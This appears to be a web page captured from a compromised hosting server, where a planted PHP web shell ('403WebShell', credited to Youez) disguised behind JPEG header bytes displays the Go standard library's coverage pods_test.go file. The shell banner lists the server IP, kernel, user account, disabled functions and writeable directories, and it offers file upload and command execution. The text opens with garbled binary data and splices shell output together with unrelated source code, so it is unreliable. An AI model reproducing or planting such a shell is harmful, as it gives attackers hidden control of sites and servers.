JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.26  /  Your IP : 216.73.216.5
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/golang/1.22.0/src/internal/coverage/pods/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/golang/1.22.0/src/internal/coverage/pods/pods_test.go
// Copyright 2022 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package pods_test

import (
	"crypto/md5"
	"fmt"
	"internal/coverage"
	"internal/coverage/pods"
	"os"
	"path/filepath"
	"runtime"
	"testing"
)

func TestPodCollection(t *testing.T) {
	//testenv.MustHaveGoBuild(t)

	mkdir := func(d string, perm os.FileMode) string {
		dp := filepath.Join(t.TempDir(), d)
		if err := os.Mkdir(dp, perm); err != nil {
			t.Fatal(err)
		}
		return dp
	}

	mkfile := func(d string, fn string) string {
		fp := filepath.Join(d, fn)
		if err := os.WriteFile(fp, []byte("foo"), 0666); err != nil {
			t.Fatal(err)
		}
		return fp
	}

	mkmeta := func(dir string, tag string) string {
		hash := md5.Sum([]byte(tag))
		fn := fmt.Sprintf("%s.%x", coverage.MetaFilePref, hash)
		return mkfile(dir, fn)
	}

	mkcounter := func(dir string, tag string, nt int, pid int) string {
		hash := md5.Sum([]byte(tag))
		fn := fmt.Sprintf(coverage.CounterFileTempl, coverage.CounterFilePref, hash, pid, nt)
		return mkfile(dir, fn)
	}

	trim := func(path string) string {
		b := filepath.Base(path)
		d := filepath.Dir(path)
		db := filepath.Base(d)
		return db + "/" + b
	}

	podToString := func(p pods.Pod) string {
		rv := trim(p.MetaFile) + " [\n"
		for k, df := range p.CounterDataFiles {
			rv += trim(df)
			if p.Origins != nil {
				rv += fmt.Sprintf(" o:%d", p.Origins[k])
			}
			rv += "\n"
		}
		return rv + "]"
	}

	// Create a couple of directories.
	o1 := mkdir("o1", 0777)
	o2 := mkdir("o2", 0777)

	// Add some random files (not coverage related)
	mkfile(o1, "blah.txt")
	mkfile(o1, "something.exe")

	// Add a meta-data file with two counter files to first dir.
	mkmeta(o1, "m1")
	mkcounter(o1, "m1", 1, 42)
	mkcounter(o1, "m1", 2, 41)
	mkcounter(o1, "m1", 2, 40)

	// Add a counter file with no associated meta file.
	mkcounter(o1, "orphan", 9, 39)

	// Add a meta-data file with three counter files to second dir.
	mkmeta(o2, "m2")
	mkcounter(o2, "m2", 1, 38)
	mkcounter(o2, "m2", 2, 37)
	mkcounter(o2, "m2", 3, 36)

	// Add a duplicate of the first meta-file and a corresponding
	// counter file to the second dir. This is intended to capture
	// the scenario where we have two different runs of the same
	// coverage-instrumented binary, but with the output files
	// sent to separate directories.
	mkmeta(o2, "m1")
	mkcounter(o2, "m1", 11, 35)

	// Collect pods.
	podlist, err := pods.CollectPods([]string{o1, o2}, true)
	if err != nil {
		t.Fatal(err)
	}

	// Verify pods
	if len(podlist) != 2 {
		t.Fatalf("expected 2 pods got %d pods", len(podlist))
	}

	for k, p := range podlist {
		t.Logf("%d: mf=%s\n", k, p.MetaFile)
	}

	expected := []string{
		`o1/covmeta.ae7be26cdaa742ca148068d5ac90eaca [
o1/covcounters.ae7be26cdaa742ca148068d5ac90eaca.40.2 o:0
o1/covcounters.ae7be26cdaa742ca148068d5ac90eaca.41.2 o:0
o1/covcounters.ae7be26cdaa742ca148068d5ac90eaca.42.1 o:0
o2/covcounters.ae7be26cdaa742ca148068d5ac90eaca.35.11 o:1
]`,
		`o2/covmeta.aaf2f89992379705dac844c0a2a1d45f [
o2/covcounters.aaf2f89992379705dac844c0a2a1d45f.36.3 o:1
o2/covcounters.aaf2f89992379705dac844c0a2a1d45f.37.2 o:1
o2/covcounters.aaf2f89992379705dac844c0a2a1d45f.38.1 o:1
]`,
	}
	for k, exp := range expected {
		got := podToString(podlist[k])
		if exp != got {
			t.Errorf("pod %d: expected:\n%s\ngot:\n%s", k, exp, got)
		}
	}

	// Check handling of bad/unreadable dir.
	if runtime.GOOS == "linux" {
		dbad := "/dev/null"
		_, err = pods.CollectPods([]string{dbad}, true)
		if err == nil {
			t.Errorf("executed error due to unreadable dir")
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit